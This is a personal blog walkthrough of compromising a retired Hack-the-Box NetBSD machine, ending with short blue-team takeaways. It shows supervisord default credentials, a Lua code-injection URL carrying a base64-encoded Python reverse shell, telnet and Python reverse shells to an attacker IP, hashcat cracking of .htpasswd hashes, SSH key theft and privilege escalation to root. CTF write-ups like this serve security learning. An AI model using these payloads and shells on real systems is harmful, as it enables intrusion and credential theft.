This post covers an old Hack-the-Box machine that's long since retired. As I am also self-documenting these for my own reference, “teaching” others makes things sink in more so I’m sharing my findings in case it’s interesting (I think it is) or gives insights into things! Note that while the steps outlined are point to point and seem pretty straight forward, in most places on this box there was a lot of banging against brick walls.
As usual, the process starts with an nmap scan
This scan found "medusa" running on 9001 which after some Googling is supervisord's web management tool. Searching the supervisord’s GitHub repo for 'password' yielded the default username and password user:123
Clicking stdout link of 'processes' yielded 2x httpd (bozohttpd specific to netbsd), the netbsd man page for httpd this explains the flags. When browsing the website, there were several password (basic auth) protections on various paths but index.html was accessible so I stupidly disregarded this piece of information. This was also in part due to the later discovery of the lua mapped path exploit that wasn’t password protected. In addition to the output from supervisor, looking at /robots.txt also indicated the /weather path touched on below..
One listener for httpd is on 3000 and another on 3001, 3000 was definitely reverse proxied by nginx but nginx isn’t relevant
The commandline flag -L indicates a .lua app is mapped to /weather, running dirbuster with default dirlist dictionary yielded the path /weather/forecast
Opening the URI /forecast shows an error that no city was specified but could list with city=list. Using city London with /forecast?city=London and propping around, code could be injected for example:
Whether this is specific to bozohttpd or otherwise, httpd.write() allowed for output, this came up either in an error or a page discussing lua vulnerabilities (like literally the only lua web vulnerability page on the entire internet).
Did some checking using httpd.write() to see what binaries I had available in /bin /sbin /usr/bin /usr/sbin. I couldn’t see Python which I’ve been using for a more capable reverse shell, it was there but it’s in a weird location in NetBSD.
I found nc (netcat) but it wasn’t as useful on NetBSD apparently. Found telnet and created a somewhat usable shell with
telnet 10.10.14.26 2400 | /bin/sh | 10.10.14.26 2400
This reverse shell died on webserver timeout even with nohup. This likely something I missed but eh.
I would have used python from the start but it wasn’t at the usual location on connection found python at /usr/pkg/bin/python3.8 using
find / -name 'python*' 2>/dev/null
I always do 2>/dev/null to suppress redirect errors as find will throw them on trying to access folder and files I don’t have access to making the output hard to read.
In retrospect I might have been able to find python using this command in the URI using os.execute() (or Google..)
Python reverse shell looks like this with the now found path
/usr/pkg/bin/python3.8 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")' &
As is a common problem, I needed to escape the “ and ‘ in the os.execute command and the URL as os.execute wraps with either ‘ and “ and both ‘ and “ are used in the code which would end the string early. As an example, os.execute(‘cmd1 cmd2’ cmd3” cmd4’) would have broken at cmd2’.
I create text file with the above command (because of the same issue with ‘ and “ on shell) and then generated a base 64 string using ‘cat file_with_python3_command | base64’ which gives a nice base64 string without and ‘ and “
You can pipe commands to a shell to have the shell run the piped text, as an example
The resulting URL now looks like
hxxp://10.10.10.218/weather/forecast?city=London');os.execute('echo"L3Vzci9wa2cvYmluL3B5dGhvbjMuOCAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjI2IiwyMzMzKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9zaCIpJyAmCg==" | base64 -d | /bin.sh');(‘
This now provides a stable reverse shell. This is only the foothold and not a “user pwn”
As I knew 3001 was listening I started curling localhost on 3001 on the “development” but the “user” had fixed the lua bug… I spent too much time mucking around here. I had already seen a .htpasswd file with a hash but I disregarded it…
Eventually I grab rockyou.txt (most well-known password list, a simple google will bring it up) from somewhere and installed hashcat, I’m on MacOS using brew so ‘brew install hashcat’ was sufficient.
The man page for httpd on NetBSD indicates it uses crypt for passwords so set to md5crypt (500) as this is the most likely.
hashcat -m 500 file_with_hash ~/Downloads/rockyou.txt
The result is pretty much instant (3 seconds).
Curling 3001 previously was uneventful, I knew there were locations requiring auth but as above, I disregarded it. Using this newly found information I added auth to curl using ‘-u webapi_user:iamthebest’. From the docs -u maps ~username/ to file path ~user/httpd_data or similar (it’s in the man page).
In this case, the user had placed an id_rsa SSH key in this directory. Using the key I curled from said directory, I SSHed in (e.g ssh -i ./id_rsa firstname.lastname@example.org ) successfully.
At an earlier stage, I saw that the user had a in /backups that was encrypted with netpgp, at an earlier point I did unecrypt the file to tmp (which was the only writeable path) prior but it just had the same file layout as the existing site and tmp deleted quickly so I disregarded it…
After spending too much time enumerating and prodding things, I gave up and looked on the official thread in the Hack the Box forums for this machine. These threads give hints but no major spoilers. Someone mentioned “stay home” so I checked all the profile files (like .profile and .cshrc) which I had done prior and came up with nada.
The only extra thing that I had was the pgp key. I thought this would be it and I wasted some time reading man pages on the ssh, su, and doas commands to see if there was some PGP auth mechanism on NetBSD. While there is some literature around about PGP for SSH auth I came up with nothing again.
I finally decided to decrypt the backup again and look at the .htpasswd file
To catch the contents of the archive before tmp is cleared I ran
netpgp --decrypt backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/b.tar.gz && tar -xzvf /tmp/b.tar.gz -C /tmp && find /
If anyone sees && in a command in future and wonders what it does, && runs a second command but it only runs if the previous one was successful.
To get the contents of the .htpasswd
netpgp --decrypt backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/b.tar.gz && tar -xzvf /tmp/b.tar.gz -C /tmp && cat /tmp/devel-2020-09-16/www/.htpasswd
Of course the hash within was different...
I ran rockyout.txt again. Once again, pretty much instant and a different password..
su -u root /bin/sh cat /root/root.txt
Both satisfying to get root and frustrating at the same time…
Blue team takeaways
- Even if you only allows ssh key auth and not password auth, using a rubbish password locally is still a terrible idea.
- Don’t re-use your root account password (if not using sudo or other similar tools) anywhere on the system. This would also apply to your user account if it allows for sudo access.
- OS password hashing usually uses much more secure hashing mechanisms and salting vs something like .htpasswd and the salts are usually read protected.
- Regardless of re-using a password, something simple on an account could be fairly easily brute forced with rockyou.txt as well.